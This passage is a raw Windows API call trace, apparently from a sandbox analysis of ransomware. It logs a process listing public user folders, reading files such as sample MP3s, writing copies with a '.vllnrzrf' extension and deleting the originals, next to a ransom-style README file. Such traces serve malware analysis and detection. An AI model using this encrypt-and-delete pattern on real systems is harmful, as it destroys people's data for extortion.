nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0123.743] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c91e4d0 | out: lpFindFileData=0x1c91e4d0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.744] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c91e4d0 | out: lpFindFileData=0x1c91e4d0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0123.744] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0123.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91e730) returned 1 [0123.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91e6f0) returned 1 [0123.748] CoUninitialize () Thread: id = 124 os_tid = 0xaec [0123.756] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0123.756] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1c08e140, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0123.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c08e5a0) returned 1 [0123.757] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1c08e090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0123.757] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries\\", nBufferLength=0x105, lpBuffer=0x1c08e030, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries\\", lpFilePart=0x0) returned 0x1a [0123.757] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*.*", lpFindFileData=0x1c08e240 | out: lpFindFileData=0x1c08e240*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0123.757] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c08e290 | out: lpFindFileData=0x1c08e290*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.758] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c08e290 | out: lpFindFileData=0x1c08e290*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2839e1d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2839e1d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288f9359, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x58, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0123.758] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c08e290 | out: lpFindFileData=0x1c08e290*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 1 [0123.758] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c08e290 | out: lpFindFileData=0x1c08e290*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0123.758] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0123.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e4f0) returned 1 [0123.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e4b0) returned 1 [0123.761] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms", nBufferLength=0x105, lpBuffer=0x1c08dfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms", lpFilePart=0x0) returned 0x2f [0123.761] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms", nBufferLength=0x105, lpBuffer=0x1c08dfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms", lpFilePart=0x0) returned 0x2f [0123.761] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms", nBufferLength=0x105, lpBuffer=0x1c08dfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms", lpFilePart=0x0) returned 0x2f [0123.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c08e490) returned 1 [0123.761] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f0 [0123.855] GetFileType (hFile=0x4f0) returned 0x1 [0123.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e400) returned 1 [0123.855] GetFileType (hFile=0x4f0) returned 0x1 [0123.855] GetFileSize (in: hFile=0x4f0, lpFileSizeHigh=0x1c08e628 | out: lpFileSizeHigh=0x1c08e628*=0x0) returned 0x36c [0123.856] ReadFile (in: hFile=0x4f0, lpBuffer=0x21fb5b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c08e558, lpOverlapped=0x0 | out: lpBuffer=0x21fb5b0*, lpNumberOfBytesRead=0x1c08e558*=0x36c, lpOverlapped=0x0) returned 1 [0123.862] CloseHandle (hObject=0x4f0) returned 1 [0123.866] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c08dfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.vllnrzrf", lpFilePart=0x0) returned 0x38 [0123.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c08e490) returned 1 [0123.866] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.vllnrzrf" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f0 [0123.866] GetFileType (hFile=0x4f0) returned 0x1 [0123.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e400) returned 1 [0123.867] GetFileType (hFile=0x4f0) returned 0x1 [0123.867] WriteFile (in: hFile=0x4f0, lpBuffer=0x2201558*, nNumberOfBytesToWrite=0x56c, lpNumberOfBytesWritten=0x1c08e468, lpOverlapped=0x0 | out: lpBuffer=0x2201558*, lpNumberOfBytesWritten=0x1c08e468*=0x56c, lpOverlapped=0x0) returned 1 [0123.868] CloseHandle (hObject=0x4f0) returned 1 [0123.872] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms", nBufferLength=0x105, lpBuffer=0x1c08dfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms", lpFilePart=0x0) returned 0x2f [0123.872] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms", nBufferLength=0x105, lpBuffer=0x1c08e150, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms", lpFilePart=0x0) returned 0x2f [0123.872] DeleteFileW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms")) returned 1 [0123.874] CoUninitialize () Thread: id = 125 os_tid = 0xbc4 [0123.891] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0123.891] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1c89e5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0123.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c89ea40) returned 1 [0123.891] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1c89e530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0123.891] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\", nBufferLength=0x105, lpBuffer=0x1c89e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\", lpFilePart=0x0) returned 0x16 [0123.891] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*.*", lpFindFileData=0x1c89e6e0 | out: lpFindFileData=0x1c89e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb997ce50, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xb997ce50, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0123.892] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c89e730 | out: lpFindFileData=0x1c89e730*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb997ce50, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xb997ce50, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.892] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c89e730 | out: lpFindFileData=0x1c89e730*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0123.892] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c89e730 | out: lpFindFileData=0x1c89e730*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 1 [0123.892] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c89e730 | out: lpFindFileData=0x1c89e730*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb997ce50, ftCreationTime.dwHighDateTime=0x1d60166, ftLastAccessTime.dwLowDateTime=0xb997ce50, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xb997ce50, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x5f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="VLLNRZRF-README.txt", cAlternateFileName="VLLNRZ~1.TXT")) returned 1 [0123.892] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c89e730 | out: lpFindFileData=0x1c89e730*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0123.893] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0123.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89e990) returned 1 [0123.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89e950) returned 1 [0123.895] CoUninitialize () Thread: id = 126 os_tid = 0xab4 [0123.903] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0123.903] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x1c06e0a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0123.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c06e500) returned 1 [0123.904] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x1c06dff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0123.904] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\", nBufferLength=0x105, lpBuffer=0x1c06df90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\", lpFilePart=0x0) returned 0x23 [0123.904] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\*.*", lpFindFileData=0x1c06e1a0 | out: lpFindFileData=0x1c06e1a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0123.905] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c06e1f0 | out: lpFindFileData=0x1c06e1f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.905] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c06e1f0 | out: lpFindFileData=0x1c06e1f0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0123.905] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c06e1f0 | out: lpFindFileData=0x1c06e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kalimba.mp3", cAlternateFileName="")) returned 1 [0123.906] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c06e1f0 | out: lpFindFileData=0x1c06e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be5ebf7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maid with the Flaxen Hair.mp3", cAlternateFileName="MAIDWI~1.MP3")) returned 1 [0123.906] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c06e1f0 | out: lpFindFileData=0x1c06e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sleep Away.mp3", cAlternateFileName="SLEEPA~1.MP3")) returned 1 [0123.906] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c06e1f0 | out: lpFindFileData=0x1c06e1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0123.906] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0123.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c06e450) returned 1 [0123.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c06e410) returned 1 [0123.909] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3", nBufferLength=0x105, lpBuffer=0x1c06df10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3", lpFilePart=0x0) returned 0x2e [0123.909] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3", nBufferLength=0x105, lpBuffer=0x1c06df10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3", lpFilePart=0x0) returned 0x2e [0123.909] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3", nBufferLength=0x105, lpBuffer=0x1c06df10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3", lpFilePart=0x0) returned 0x2e [0123.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c06e3f0) returned 1 [0123.909] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x53c [0123.918] GetFileType (hFile=0x53c) returned 0x1 [0123.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c06e360) returned 1 [0123.918] GetFileType (hFile=0x53c) returned 0x1 [0123.918] GetFileSize (in: hFile=0x53c, lpFileSizeHigh=0x1c06e588 | out: lpFileSizeHigh=0x1c06e588*=0x0) returned 0x8064f1 [0123.940] ReadFile (in: hFile=0x53c, lpBuffer=0x1255f758, nNumberOfBytesToRead=0x8064f1, lpNumberOfBytesRead=0x1c06e4b8, lpOverlapped=0x0 | out: lpBuffer=0x1255f758*, lpNumberOfBytesRead=0x1c06e4b8*=0x8064f1, lpOverlapped=0x0) returned 1 [0124.235] CloseHandle (hObject=0x53c) returned 1 [0126.118] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c06df10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3.vllnrzrf", lpFilePart=0x0) returned 0x37 [0126.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c06e3f0) returned 1 [0126.118] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3.vllnrzrf" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4e4 [0126.119] GetFileType (hFile=0x4e4) returned 0x1 [0126.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c06e360) returned 1 [0126.119] GetFileType (hFile=0x4e4) returned 0x1 [0126.119] WriteFile (in: hFile=0x4e4, lpBuffer=0x15585560*, nNumberOfBytesToWrite=0x8066f1, lpNumberOfBytesWritten=0x1c06e518, lpOverlapped=0x0 | out: lpBuffer=0x15585560*, lpNumberOfBytesWritten=0x1c06e518*=0x8066f1, lpOverlapped=0x0) returned 1 [0126.368] CloseHandle (hObject=0x4e4) returned 1 [0127.475] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3", nBufferLength=0x105, lpBuffer=0x1c06df10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3", lpFilePart=0x0) returned 0x2e [0127.475] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3", nBufferLength=0x105, lpBuffer=0x1c06e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3", lpFilePart=0x0) returned 0x2e [0127.476] DeleteFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3")) returned 1 [0127.478] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3", nBufferLength=0x105, lpBuffer=0x1c06df10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3", lpFilePart=0x0) returned 0x40 [0127.478] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3", nBufferLength=0x105, lpBuffer=0x1c06df10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3", lpFilePart=0x0) returned 0x40 [0127.478] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3", nBufferLength=0x105, lpBuffer=0x1c06df10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3", lpFilePart=0x0) returned 0x40 [0127.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c06e3f0) returned 1 [0127.479] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4e4 [0127.479] GetFileType (hFile=0x4e4) returned 0x1 [0127.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c06e360) returned 1 [0127.479] GetFileType (hFile=0x4e4) returned 0x1 [0127.479] GetFileSize (in: hFile=0x4e4, lpFileSizeHigh=0x1c06e588 | out: lpFileSizeHigh=0x1c06e588*=0x0) returned 0x3ec5d2 [0127.491] ReadFile (in: hFile=0x4e4, lpBuffer=0x15d8bc90, nNumberOfBytesToRead=0x3ec5d2, lpNumberOfBytesRead=0x1c06e4b8, lpOverlapped=0x0 | out: lpBuffer=0x15d8bc90*, lpNumberOfBytesRead=0x1c06e4b8*=0x3ec5d2, lpOverlapped=0x0) returned 1 [0128.385] CloseHandle (hObject=0x4e4) returned 1 [0130.811] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c06df10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3.vllnrzrf", lpFilePart=0x0) returned 0x49 [0130.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c06e3f0) returned 1 [0130.812] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3.vllnrzrf" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4e4 [0130.813] GetFileType (hFile=0x4e4) returned 0x1 [0130.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c06e360) returned 1 [0130.813] GetFileType (hFile=0x4e4) returned 0x1 [0130.813] WriteFile (in: hFile=0x4e4, lpBuffer=0x12628270*, nNumberOfBytesToWrite=0x3ec7d2, lpNumberOfBytesWritten=0x1c06e518, lpOverlapped=0x0 | out: lpBuffer=0x12628270*, lpNumberOfBytesWritten=0x1c06e518*=0x3ec7d2, lpOverlapped=0x0) returned 1 [0131.698] CloseHandle (hObject=0x4e4) returned 1 [0132.508] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3", nBufferLength=0x105, lpBuffer=0x1c06df10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3", lpFilePart=0x0) returned 0x40 [0132.508] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample 